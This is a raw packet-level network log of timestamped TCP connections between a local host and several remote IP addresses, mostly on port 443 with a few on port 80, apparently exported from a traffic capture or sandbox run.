Nov 12, 2024 08:30:32.831846952 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.831861019 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.877969980 CET	49832	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.878000975 CET	443	49832	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.878057957 CET	49832	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.878256083 CET	49832	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.878268003 CET	443	49832	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.906784058 CET	443	49825	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.907465935 CET	49825	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.907494068 CET	443	49825	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.908240080 CET	49825	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.908246040 CET	443	49825	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.924084902 CET	443	49824	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.924536943 CET	49824	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.924551010 CET	443	49824	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.924910069 CET	49824	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.924915075 CET	443	49824	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.950433016 CET	443	49823	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.950685024 CET	443	49823	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.950733900 CET	49823	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.951024055 CET	49823	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.951040983 CET	443	49823	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.951050043 CET	49823	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.951055050 CET	443	49823	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.953010082 CET	443	49822	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.953329086 CET	443	49822	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.953386068 CET	49822	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.957781076 CET	49833	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.957814932 CET	443	49833	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.958065987 CET	49833	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.958657980 CET	49833	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.958667994 CET	443	49833	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.959027052 CET	49822	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.959045887 CET	443	49822	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.959058046 CET	49822	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.959065914 CET	443	49822	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.973236084 CET	49834	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.973294973 CET	443	49834	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.973359108 CET	49834	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.973557949 CET	49834	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.973572016 CET	443	49834	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.996455908 CET	443	49827	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:32.996665955 CET	49827	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:32.996680975 CET	443	49827	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:32.997562885 CET	443	49828	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:32.997719049 CET	443	49827	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:32.997754097 CET	49828	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:32.997771025 CET	443	49828	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:32.997771025 CET	49827	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:32.998682976 CET	49827	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:32.998756886 CET	443	49827	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:32.998795033 CET	443	49828	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:32.998855114 CET	49828	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:32.998887062 CET	49827	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:32.998894930 CET	443	49827	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:32.999764919 CET	49828	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:32.999825001 CET	443	49828	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:32.999989033 CET	49828	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:32.999994040 CET	443	49828	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:33.015616894 CET	443	49829	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:33.015827894 CET	49829	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:33.015841961 CET	443	49829	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:33.016896009 CET	443	49829	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:33.016957045 CET	49829	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:33.018038034 CET	49829	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:33.018126011 CET	443	49829	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:33.018131018 CET	49829	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:33.041996002 CET	443	49825	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.042247057 CET	443	49825	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.042320013 CET	49825	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.042370081 CET	49825	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.042377949 CET	443	49825	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.042390108 CET	49825	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.042396069 CET	443	49825	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.046165943 CET	49835	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.046205997 CET	443	49835	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.046322107 CET	49835	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.046782017 CET	49835	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.046794891 CET	443	49835	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.053410053 CET	443	49824	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.053703070 CET	443	49824	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.053749084 CET	49824	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.053788900 CET	49824	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.053803921 CET	443	49824	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.053812027 CET	49824	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.053817034 CET	443	49824	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.058609009 CET	49836	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.058650970 CET	443	49836	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.058741093 CET	49836	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.058870077 CET	49836	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.058883905 CET	443	49836	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.059330940 CET	443	49829	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:33.088078022 CET	49827	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:33.088248968 CET	49828	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:33.103960991 CET	49829	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:33.103984118 CET	443	49829	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:33.128608942 CET	443	49828	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:33.128700972 CET	443	49828	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:33.128801107 CET	49828	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:33.128931999 CET	443	49827	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:33.128998995 CET	443	49827	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:33.129041910 CET	49827	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:33.129487991 CET	49828	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:33.129503965 CET	443	49828	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:33.130043030 CET	49827	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:33.130055904 CET	443	49827	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:33.145363092 CET	443	49829	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:33.145421982 CET	49829	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:33.145625114 CET	49829	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:33.145639896 CET	443	49829	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:33.313535929 CET	49837	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:33.313577890 CET	443	49837	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:33.313667059 CET	49837	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:33.313955069 CET	49838	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:33.313987970 CET	443	49838	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:33.314095020 CET	49838	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:33.314203024 CET	49837	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:33.314218044 CET	443	49837	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:33.314327002 CET	49838	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:33.314342976 CET	443	49838	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:33.439224958 CET	443	49826	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:33.439296961 CET	49826	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:33.449871063 CET	49826	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:33.449892998 CET	443	49826	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:33.450237989 CET	443	49826	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:33.450948954 CET	49826	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:33.450980902 CET	49826	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:33.451020002 CET	443	49826	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:33.559241056 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.559823036 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.559845924 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.560311079 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.560317993 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.581010103 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:33.581091881 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:33.588778973 CET	49839	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:33.588821888 CET	443	49839	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:33.588882923 CET	49839	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:33.589121103 CET	49840	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:33.589169025 CET	443	49840	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:33.589248896 CET	49840	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:33.589385986 CET	49839	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:33.589399099 CET	443	49839	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:33.589557886 CET	49840	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:33.589574099 CET	443	49840	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:33.607309103 CET	443	49832	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.607538939 CET	49832	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.607554913 CET	443	49832	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.608604908 CET	443	49832	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.608671904 CET	49832	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.609652042 CET	49832	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.609730005 CET	443	49832	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.610200882 CET	49832	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.610207081 CET	443	49832	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.687264919 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.687442064 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.687500000 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.687788010 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.687808037 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.687818050 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.687824011 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.692281008 CET	49841	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.692317963 CET	443	49841	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.692375898 CET	49841	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.692569971 CET	49841	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.692580938 CET	443	49841	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.703037024 CET	443	49834	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.704412937 CET	49834	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.704427958 CET	443	49834	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.704890013 CET	49834	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.704894066 CET	443	49834	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.726022005 CET	443	49833	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.726372004 CET	49833	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.726413965 CET	443	49833	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.727710009 CET	49833	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.727735043 CET	443	49833	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.775779963 CET	443	49826	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:33.778106928 CET	443	49830	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:33.779552937 CET	49830	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:33.779586077 CET	443	49830	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:33.780117989 CET	49830	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:33.780117989 CET	49830	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:33.780128002 CET	443	49830	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:33.780143976 CET	443	49830	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:33.788249016 CET	49832	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.791521072 CET	443	49835	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.791934013 CET	49835	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.791964054 CET	443	49835	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.792352915 CET	49835	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.792359114 CET	443	49835	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.793375969 CET	443	49836	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.794399977 CET	49836	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.794414997 CET	443	49836	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.798099041 CET	49836	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.798104048 CET	443	49836	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.832338095 CET	443	49834	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.832427979 CET	443	49834	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.834186077 CET	49834	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.834186077 CET	49834	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.834502935 CET	49834	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.834522963 CET	443	49834	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.838116884 CET	49842	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.838166952 CET	443	49842	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.838285923 CET	49842	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.842102051 CET	49842	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.842140913 CET	443	49842	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.848936081 CET	443	49832	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.848956108 CET	443	49832	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.848963976 CET	443	49832	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.848978043 CET	443	49832	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.848984003 CET	443	49832	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.848989010 CET	443	49832	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.849129915 CET	49832	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.849143028 CET	443	49832	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.849371910 CET	49832	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.860743999 CET	443	49833	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.861437082 CET	443	49833	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.861920118 CET	49833	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.862792015 CET	443	49832	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.862799883 CET	443	49832	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.862828970 CET	443	49832	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.862842083 CET	443	49832	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.862855911 CET	443	49832	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.862864017 CET	443	49832	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.862868071 CET	49832	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.862900019 CET	49832	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.862998962 CET	49832	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.874684095 CET	49833	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.874708891 CET	443	49833	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.874735117 CET	49833	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.874742031 CET	443	49833	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.878082991 CET	49843	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.878110886 CET	443	49843	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.879344940 CET	49843	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.880105972 CET	49843	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.880120993 CET	443	49843	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.887882948 CET	443	49826	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:33.888427019 CET	49826	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:33.888648033 CET	49826	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:33.888655901 CET	443	49826	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:33.888681889 CET	49826	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:33.888686895 CET	443	49826	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:33.917340994 CET	443	49837	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:33.917759895 CET	49837	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:33.917788029 CET	443	49837	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:33.918122053 CET	443	49837	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:33.918416023 CET	49837	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:33.918498993 CET	443	49837	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:33.918601990 CET	49837	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:33.924093008 CET	443	49835	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.924273014 CET	443	49835	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.924536943 CET	49835	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.924654007 CET	49835	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.924654007 CET	49835	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.924673080 CET	443	49835	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.924685001 CET	443	49835	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.926726103 CET	443	49836	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.926928997 CET	443	49836	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.927385092 CET	49844	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.927421093 CET	443	49844	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.927443027 CET	49836	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.927649975 CET	49836	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.927649975 CET	49836	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.927661896 CET	443	49836	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.927671909 CET	443	49836	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.927686930 CET	49844	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.930078983 CET	443	49838	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:33.930115938 CET	49844	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.930130005 CET	443	49844	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.930425882 CET	49838	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:33.930434942 CET	443	49838	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:33.930773973 CET	443	49838	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:33.931266069 CET	49838	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:33.931327105 CET	443	49838	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:33.932429075 CET	49845	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.932446957 CET	443	49845	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.932671070 CET	49845	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.932671070 CET	49845	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.932687044 CET	443	49845	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.959338903 CET	443	49837	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:33.966520071 CET	443	49832	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.966531038 CET	443	49832	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.966576099 CET	443	49832	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.966608047 CET	443	49832	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.966614008 CET	49832	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.966631889 CET	443	49832	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.966754913 CET	49832	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.980079889 CET	443	49832	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.980088949 CET	443	49832	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.980130911 CET	443	49832	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.980159998 CET	49832	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.980168104 CET	443	49832	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.980187893 CET	49832	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.980252028 CET	49832	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.980870962 CET	443	49832	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.980946064 CET	443	49832	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.980973005 CET	49832	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.981048107 CET	49832	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.985445023 CET	49832	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:33.985467911 CET	443	49832	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:33.999033928 CET	49837	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:34.029159069 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:34.029221058 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:34.029346943 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:34.029653072 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:34.029659033 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:34.066369057 CET	443	49837	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:34.066443920 CET	443	49837	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:34.066575050 CET	49837	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:34.067264080 CET	49837	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:34.067286015 CET	443	49837	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:34.103956938 CET	49838	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:34.161082029 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.165983915 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.192361116 CET	443	49840	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:34.192723989 CET	49840	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:34.192754984 CET	443	49840	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:34.192815065 CET	443	49839	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:34.193036079 CET	49839	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:34.193062067 CET	443	49839	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:34.193083048 CET	443	49840	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:34.193392992 CET	443	49839	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:34.193419933 CET	49840	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:34.193485022 CET	443	49840	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:34.193677902 CET	49839	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:34.193737030 CET	443	49839	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:34.235208035 CET	49840	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:34.399328947 CET	443	49839	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:34.399518013 CET	49839	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:34.421602011 CET	443	49841	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:34.422415972 CET	49841	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:34.422441006 CET	443	49841	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:34.422645092 CET	49841	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:34.422648907 CET	443	49841	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:34.436821938 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.436834097 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.437028885 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.437040091 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.437050104 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.437091112 CET	49809	80	192.168.2.5	185.215.113.206
